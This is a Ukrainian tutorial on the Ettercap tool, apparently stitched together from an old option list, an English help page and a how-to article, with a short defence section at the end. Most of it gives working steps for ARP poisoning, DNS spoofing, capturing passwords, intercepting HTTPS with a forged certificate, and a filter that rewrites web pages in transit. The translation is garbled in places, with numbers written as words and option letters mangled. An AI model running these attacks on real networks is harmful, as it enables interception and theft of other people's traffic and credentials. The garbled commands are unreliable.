  • вміє додавати і видаляти пакети в рамках сеансу;
  • вміє пасивно переглядати мережу (не сигнал пакети) і знищувати з'єднання.

Програма не вимагає початкового конфігурування. Можна задати всі необхідні опції в командному рядку або підключити зовнішній конфігураційний файл.

При запуску програма посилає ARP-запит для кожного IP-адреси в локальній мережі. Список можливих IP-адрес визначається шляхом аналізу власної адреси і маски, а при отриманні ARP-відповідей створюється список вузлів, що функціонують в мережі. Слід бути обережним, якщо мережева маска задає мережу класу В (255.255.0.0), так як в цьому випадку програма змушена буде послати 65025 запитів. На їх обробку піде чимало часу, і до того ж така діяльність може бути швидко виявлена.

Програму можна використовувати в двох режимах: інтерактивному (графічному) і неінтерактивному. Графічний інтерфейс програми заснований на бібліотеці ncurses. Неінтерактивний режим корисний, якщо програма викликається з сценарію для фонового збору даних.

Синтаксис виклику програми такий:

# Ettercap [ опції][IP-одержувача: порт][IP-відправника: порт][МАС-одержувач][МАС-відправник]

Опції для вибору методу аналізу:

-a, -arpsniff ARP-перехоплення

-s, -sniff IP-фільтрація

-m, -macsniff MAC-фільтрація

Опції загального призначення:

-N, -simple - неінтерактивний режим.

-z, -silent - «безшумний» режим (без масових ARP-запитів при запуску).

-О, -passive - пасивний збір інформації.

-b, -broadping - використання широкомовних ping-запитів замість ARP-запитів.

-D, -delay<секунди> - задає затримку (в секундах) між двома ARP-відповідями.

-Z, -stormdelay<мікросекунди> - задає затримку (в мікросекундах) між ARP-запитів в ході початкового «вторгнення» в мережу.

-S, -spoof<IPaдpec> - задає підроблений IP-адреса, що використовується при скануванні мережі.

-H, -hosts<IP-aдрес1 [, IP-aдpec2]. . .> - задає вузли, скановані при запуску.

-d, -dontresolve- Чи не перетворювати IP-адреси в доменні імена при запуску.

-i, -ifасе<інтерфейс> - задає інтерфейс для сканування.

-n, -netmask<маска> - задає маску, що визначає мережу для сканування.

-e, -etterconf<файл> - задає конфігураційний файл, з якого читаються опції командного рядка.

-t, -linktype - змушує програму перевірити, чи є в мережі комутатор.

-j, -loadhosts<файл> - задає файл, з якого завантажується список вузлів.

-k, -savehosts - збереження списку вузлів у файлі.

-v, -version - змушує програму перевірити наявність оновленої версії Ettercap.

-h, -help - висновок синтаксичної довідки.

Опції «безшумного» режиму:

-u, -udp - перехоплювати тільки UDP-пакети.

-R, -reverse - аналіз всіх з'єднань, крім того, яке задано в командному рядку.

-О, -passive - режим пасивного сканування.

-р, -plugin<модуль> - запуск зовнішнього модуля.

-l, -list - отримання списку всіх вузлів локальної мережі.

-З, -collect - отримання списку всіх облікових записів і паролів вузлів, заданих в командному рядку.

-f, -fingerprint<вузол> - аналіз типу операційної системи для заданого вузла.

-x, -hexview - відображення даних в шістнадцятковому вигляді.

-L, -logtofile - запис даних в журнальний файл.

-q, -quiet- запуск в фоновому режимі.

-w, -newcert- створення нового файлу сертифіката для атаки типу «непомітний посередник» на сеанси HTTPS.

-F, -filter<файл> - завантаження правил фільтрації із зазначеного файлу.

-з, -check - змушує програму перевірити, чи не намагається хтось інший перехопити її власний трафік.

При виклику програми без опцій (точніше, без опції -N) вона запускається в інтерактивному режимі. Вікно програми розділене на три частини. У верхній частині відображається діаграма з'єднання із зазначенням двох взаємодіючих вузлів (спочатку ця частина вікна може бути порожньою). У середній частині вікна наводиться список вузлів, знайдених в локальній мережі. Точніше кажучи, відображаються два однакових списку, з яких можна вибрати два вузла для створення діаграми з'єднання. Щоб вибрати вузол в лівій колонці, перемістіть на нього курсор і натисніть . потім натисніть<Таb> для переходу в праву колонку і повторіть процедуру. В результаті у верхній частині вікна з'явиться діаграма з'єднання, а в середній частині з'явиться список з'єднань, встановлених в даний момент між двома вузлами, із зазначенням портів відправника і одержувача, як видно на малюнку нижче.

У нижній частині вікна відображається додаткова інформація про вибрані вузлах. Щоб отримати список доступних команд, натисніть , В результаті чого з'явиться вікно справкі.0

Після того як з'єднання взято під контроль, можна приступати до аналізу даних. Дозволяється направляти перехоплені дані в файл, втручатися в хід сеансу і виконувати безліч інших завдань, включаючи знищення сеансу.

Наведемо ряд прикладів, які демонструють особливості запуску програми Ettercap. У першому прикладі скрипт буде працювати в інтерактивному режимі і здійснює пасивний збір даних.

ettercap NG-0.7.3 - A multipurpose sniffer / content filter for man in the middle attacks

sniffing options:

UNIFIED - sniffs all the packets that pass on the cable. (Ip_forwarding in the kernel is always disabled and the forwarding is done by ettercap)

NB use ettercap on the gateways ONLY with the UNOFFENSIVE MODE. remember to re-enable the ip_forwarding !!

BRIDGED, It uses two network interfaces and forward the traffic from one to the other while performing sniffing and content filtering.

NB Do not use it on gateways !!!

ettercap [OPTIONS] [TARGET1] [TARGET2]

TARGET is in the form MAC / IPs / PORTs

e.g. «// 80» means ANY mac address, ANY ip and ONLY port 80

NB reverse the matching of the TARGET by adding the -R option

Options

-M, -mitm MITM attack: arp (,) This method implements the ARP poisoning mitm attack. icmp (MAC / IP) This attack implements ICMP redirection. It sends a spoofed icmp redirect message to the hosts in the lan pretending to be a better route for internet.

Example: -M icmp: 00: 11: 22: 33: 44: 55 / 10.0.0.1 (will redirect all the connections that pass thru that gateway.)

dhcp (Ip_pool / netmask / dns) This attack implements DHCP spoofing. It pretends to be a DHCP server and tries to win the race condition with the real one to force the client to accept the attacker's reply.

M dhcp: 192.168.0.30,35,50-60 / 255.255.255.0 / 192.168.0.1 (reply to DHCP offer and request.)

M dhcp: /255.255.255.0/192.168.0.1 (reply only to DHCP request. (Do not offer ip address, but only change the router information of dhcp request / ack)

NB You have to specify an ip pool of FREE addresses to be used. !!!

port (,) This attack implements Port Stealing. This technique is useful to sniff in a switched environment when ARP poisoning is not effective NB: Use this mitm method only on ethernet switches NB You can NOT use this method in only-mitm mode -o, -only-mitm(Another sniffer to sniff the traffic) -f, -pcapfilter Set a capturing filter in the pcap library NB ettercap will not be able to forward hijacked packets. -B, -bridge BRIDGED sniffing (man in the middle at the physical layer. It is totally stealthy) OFF LINE SNIFFING -r, -read -w, -write USER INTERFACES OPTIONS -T, -text -q, -quiet -s, -script

ettercap -T -s 'lq' will print the list of the hosts and exit
ettercap -T -s ' s(300) olqq 'will collect the infos for 5 minutes, print the

list of the local profiles and exit

-C, -curses -G, -gtk -D, -daemonize GENERAL OPTIONS -i, -iface -I, -iflist This option will print the list of all available network interfaces -n, -netmask -R, -reversed -t, -proto Sniff only PROTO packets (PROTO can be «tcp», «udp» or «all» for both) -z, -silent Do not perform the initial ARP scan -p, -nopromisc (If you want to sniff only your connections )
-u, -unoffensive (the responsibility of ip forwarding is left to the kernel. ) NB useful if you want to run multiple ettercap instances. NB will not be able to modify packets on the fly NB useful if you want to run ettercap on the gateway -j, -load-hosts -k, -save-hosts -P, -plugin -F, -filter -W, -wep-key (to decrypt WiFi packets. ) N: T: KEY. Where N is the bit length of the wep key (64, 128 or 256), T is the type of the string ( 's' for string and 'p' for passphrase). example:
-wep-key 128: p: secret
-wep-key 128: s: ettercapwep0
-wep-key '64: s: \\ x01 \\ x02 \\ x03 \\ x04 \\ x05 ' -a, -config VISUALIZATION OPTIONS -e, -regex (Handle only packets that match the regex.) -V, -visual (hex,ascii,text,ebcdic,html,utf8) -d, -dns Resolve ip addresses into hostnames. -E, -ext-headers Print extended headers -Q, -superquiet (Do not print users and passwords as they are collected. Only store them in the profiles. ) LOGGING OPTIONS -L, -log Log all the packets to binary files. These files can be parsed by etterlog NB create LOGFILE.ecp (for packets) and LOGFILE.eci (for the infos). -l, -log-info logs only passive information + users and passwords for each host. The file will be named LOGFILE.eci -m, -log-msg It stores in all the user messages printed by ettercap. -c, -compress Compress the logfile with the gzip algorithm -o, -only-local Stores profiles information belonging only to the LAN hosts. -O, -only-remote STANDARD OPTIONS -U, -update

Examples

ettercap -Tp Use the console interface and do not put the interface in promisc mode. You will see only your traffic. ettercap -Tzq Use the console interface, do not ARP scan the net and be quiet. The packet content will not be displayed, but user and passwords, as well as other messages, will be displayed. ettercap -T -j / tmp / victims -M arp /10.0.0.1-7/ /10.0.0.10-20/ Will load the hosts list from / tmp / victims and perform an ARP poisoning attack against the two target. The list will be joined with the target and the resulting list is used for ARP poisoning. ettercap -T -M arp // // Perform the ARP poisoning attack against all the hosts in the LAN. BE CAREFUL !! ettercap -T -M arp: remote /192.168.1.1/ /192.168.1.2-10/ Perform the ARP poisoning against the gateway and the host in the lan between 2 and 10. The 'remote' option is needed to be able to sniff the remote traffic the hosts make through the gateway. ettercap -Tzq // 110 Sniff only the pop3 protocol from every hosts. ettercap -Tzq /10.0.0.1/21,22,23 Sniff telnet, ftp and ssh connections to 10.0.0.1. ettercap -P list Prints

the list of all available plugins

Ssl Mitm Attack

To regenerate the cert file:

openssl genrsa -out etter.ssl.crt один тисяча двадцять чотири
openssl req -new -key etter.ssl.crt -out tmp.csr
openssl x509 -req -days 1 825 -in tmp.csr -signkey etter.ssl.crt -out tmp.new
cat tmp.new \u003e\u003e etter.ssl.crt
rm -f tmp.new tmp.csr

0) connect to the network :)
1.1) cd / tmp
1) #ettercap -G [-wep-key 128: p: secret]
2) Sniff -\u003e Unified sniffing (NIC ath0)
3) Start-\u003e Start sniffing
4) Hosts -\u003e Scan for hosts
5) Hosts -\u003e Hosts list
6) choos and add to target1 and target2
7) Mitm -\u003e arp poisoning; sniff remote connection
8) Logging -\u003e Log all packets and infos
9) Mitm -\u003e Stop mitm attack
10) Start -\u003e Stop sniffing

ettercap substitutes the real ssl certificate with its own

Ettercap - це утиліта для аналізу мережевого трафіку, що проходить через інтерфейс комп'ютера, але з додатковою функціональністю. Програма дозволяє виконувати атаки типу "Людина посередині" щоб змусити інший комп'ютер передавати пакети не маршрутизатора, а вам.

За допомогою Ettercap ви можете перевірити безпеку своєї мережі, наскільки вона схильна до такого типу атак, а також аналізувати трафік з кількох комп'ютерів, і навіть модифікувати його на льоту. У цій статті ми розглянемо як користуватися Ettercap для аналізу і модифікації трафіку.

За замовчуванням комп'ютер відправляє всі мережеві пакети, які потрібно відправити в інтернет передає маршрутизатора, а той, у свою чергу, відправляє їх на наступний маршрутизатор, поки пакет не досягне мети. Але з певних причин пакет може передаватися не маршрутизатора, а відразу вашого комп'ютера, а вже потім маршрутизатора.

Комп'ютер, через який будуть проходити пакети може аналізувати джерело, цільової адресу, а якщо вони не зашифровані, то і повне їх вміст.

Існує два способи виконання MITM (Man In Middle Attack):

  • ARP атака - за допомогою особливостей протоколу ARP ваш комп'ютер говорить іншим, що він маршрутизатор, після цього всі пакети починають вдаватися до йому;
  • DNS атака - коли комп'ютер намагається отримати ip адреса для домену, ми підміняємо цю адресу на свій, але щоб цей вид працював, потрібно застосовувати метод з ARP.

Програма Ettercap Linux вміє виконувати обидва види атак. Крім того, утиліта може виконувати атаки на відмову в обслуговуванні і сканувати порти. А тепер давайте розглянемо як виконується установка і використання Ettercap.

установка Ettercap

Це досить популярна програма, серед фахівців з мережевої безпеки, тому вона є в офіційних репозиторіях більшості дистрибутивів. Наприклад, щоб встановити Ettercap в Ubuntu виконайте:

sudo apt install ettercap-gtk

У Fedora або інших, заснованих на ній дистрибутивах, команда буде виглядати схожим чином:

sudo yum install ettercap-gtk

Із завданням як встановити Ettercap Linux ми впоралися, але перед тим, як її використовувати, потрібно змінити кілька налаштувань в файлі конфігурації.

sudo vi /etc/ettercap/etter.conf

Рядки ec_uid і ec_gid повинні мати значення 0, щоб сервіс програми працював від імені суперкористувача:


ec_uid \u003d 0 # nobody is the default
ec_gid \u003d 0 # nobody is the default

redir_command_on \u003d "iptables -t nat -A PREROUTING -i% iface -p tcp --dport% port -j REDIRECT --to-port% rport"
redir_command_off \u003d "iptables -t nat -D PREROUTING -i% iface -p tcp --dport% port -j REDIRECT --to-port% rport"

Вони використовуються для перенаправлення SSL з'єднань на звичайні HTTP, якщо це можливо. Далі збережіть зміни і програма готова до роботи.

Використання Ettercap GUI

Програма може працювати в декількох режимах - з графічним інтерфейсом, без і в вигляді сервісу. Ми будемо розглядати роботу в графічному інтерфейсі. Для запуску програми з інтерфейсом GTK використовуйте опцію -G:

sudo -E ettercap -G

Атака ARP-poisoning в Ettercap

Як я вже говорив, за допомогою цієї атаки ми можемо змусити цільової комп'ютер відправляти пакети не маршрутизатора, а нам. Працює все досить просто. Комп'ютер знає IP маршрутизатора, він отримав його при підключенні до мережі. Але кожен раз, коли йому потрібно відправити пакет, потрібно перетворити цей універсальний IP адреса в низькорівневий адреса використовуваної мережевої технології, наприклад, для проводового інтернету - це MAC адресу.

Для цього використовується протокол ARP. Комп'ютер відправляє запит всіх пристроїв в мережі, наприклад "хто такий 192.168.1.1" і маршрутизатор, побачивши свою адресу відправить у відповіді свій MAC. Далі він буде збережений в кеші. Але ми можемо за допомогою Ettercap попросити цільової комп'ютер оновити свій ARP кеш і передати йому замість MAC адреси роутера свій MAC адресу. Тоді все пакети будуть передаватися нам, а вже ми відправимо їх куди потрібно.

Перейдемо ближче до справи і виконаємо атаку attercap arp spofing. У Ettercap відкрийте меню Sniff і виберіть Unified Snifing.Потім виберіть ваш мережевий інтерфейс, наприклад, eth0 або wlan0:

Вікно програми змінитися і нам буде доступно набагато більше функцій. Тепер потрібно просканувати мережу. Для цього відкрийте меню Hosts і натисніть Scan hosts. Якщо навіть щось не працює, то ви можете завантажити список хостів з файлу:

Щоб почати атаку нам потрібно вказати мету 1 і мета 2. В якості першої мети потрібно вказати ip машини, яку ми зібралися атакувати, а в якості мети 2 - ip маршрутизатора. Для додавання цілей використовуйте кнопки Add Target 1 і Add Traget 2:

У вікні відзначте пункт Sniff remote connections, Щоб перехоплювати всі віддалені з'єднання від цього комп'ютера:

Тепер, для запуску процесу підміни в меню Start Оберіть Start Sniffing.

Після цього програма почне відправляти в мережу пакети, із запитом для 192.168.1.3 на оновлення кешу ARP і заміни MAC адреси маршрутизатора на ваш. Атака запущена і успішно виконується. Ви можете відкрити меню View -> Connections і подивитися активні сполуки для цільового пристрою:

Якщо пакет не був зашифрований, то ми можемо подивитися передану інформацію клінув по з'єднанню мишею. Зліва відображається відправлена \u200b\u200bінформація, а праворуч - отримана:

Атака DNS-spoofing за допомогою Ettercap

Для перетворення імен сайтів в IP адреси мережі використовується спеціальна служба - DNS. Коли комп'ютера потрібен ip сайту він питає його у DNS сервера. Але якщо ви вже виконуємо MITM атаку, то можемо підмінити відповідь сервера таким чином, щоб замість IP сервера сайту повертався наш IP. Спочатку нам потрібно відредагувати файл /etc/ettercap/etter.dns:

sudo vi /etc/ettercap/etter.dns

google.com.ua A 127.0.0.1

Цей запис означає, що ми підмінимо основний IP google.com.ua на 127.0.0.1. Зверніть увагу, що ця атака не виконується без попередньої. Далі відкрийте меню Plugins -> Manage Plugins:

Потім два рази клікніть по плагіну dns_spoof:

Плагін буде активований і ви можете перевіряти ip на пристрої. DNS дійсно підміняється. Наприклад, ви можете виконати на цільовій машині:

ping google.com.ua

ping www.ettercap.org

Крім цих плагінів, існують і інші, за допомогою яких ви можете виконувати потрібні дії.

фільтри Ettercap

Фільтри дозволяють модифікувати пропускалися через програму пакети прямо на льоту. Ви можете відкидати пакети, або вносити в них необхідні зміни за допомогою функції replace. Фільтри теж працюють тільки поки запущена MITM атака. Синтаксис умов, за якими ми будемо фільтрувати пакети дуже схожий на wireshark. Давайте розглянемо простенький фільтр, який буде заміняти всі картинки на нашу:

if (ip.proto \u003d\u003d TCP && tcp.dst \u003d\u003d 80) (
if (search (DATA.data, "Accept-Encoding")) (
replace ( "Accept-Encoding", "Accept-Rubbish!");
# Note: replacement string is same length as original string
msg ( "zapped Accept-Encoding! \\ n");
}
}
if (ip.proto \u003d\u003d TCP && tcp.src \u003d\u003d 80) (
replace ( "img src \u003d", "img src \u003d \\" https: //pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png \\ "");
replace ( "IMG SRC \u003d", "img src \u003d \\" https: //pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png \\ "");
msg ( "Filter Ran. \\ n");
}

Для тих, хто мав досвід роботи з мовами програмування тут має бути все зрозуміло. Якщо протокол TCP і порт призначення 80, ми продовжуємо пошук і шукаємо Accept-Encoding. Потім замінюємо це слово на будь-яке інше, але еквівалентне по довжині. Тому що якщо браузер буде відправляти Accept-Encoding gzip, то дані будуть стиснуті і ми там нічого не Отфильтруем. Далі вже у відповіді сервера, порт джерела 80, ми підміняємо все зображення на наше. Тепер фільтр потрібно скомпілювати:

etterfilter test.filter -o test.ef

Залишилося завантажити фільтр за допомогою меню Filters -> Load Filter:

Виберіть файл фільтра в файлової системі:

Фільтр буде завантажений і ви можете відкрити будь-який сайт, де не використовується https щоб переконатися, що все працює. Щоб зупинити MITM атаку, відкрийте меню MITM і виберіть Stop All Mitm attacks. Наша інструкція Ettercap добігає кінця, але ...

Як захиститися?

Напевно, після прочитання статті у вас виникло резонне питання, як же захистити свій комп'ютер від такого виду атак? Для цього є кілька інструментів, в тому числі для операційної системи Linux:

  • XArp - графічна утиліта, яка може виявляти спроби підміни MAC адрес по протоколу ARP і протидіяти цьому. Може працювати в WIndows і в Linux;
  • Snort - досить відома система протидії вторгненням, серед іншого виявляє атаки на протокол ARP;
  • ArpON - невеликий сервіс, який стежить за ARP таблицею і захищає її від підміни MAC адрес.

висновки

У цій статті ми розглянули як користуватися Ettercap - програмою для аналізу мережевих пакетів і виконання атак типу "Людина посередині". Використовуйте програму тільки для тестування безпеки своїх мереж або додатків, а також не забувайте що незаконні дії в інформаційному просторі теж карані.

На завершення відео з демонстрацією роботи програми: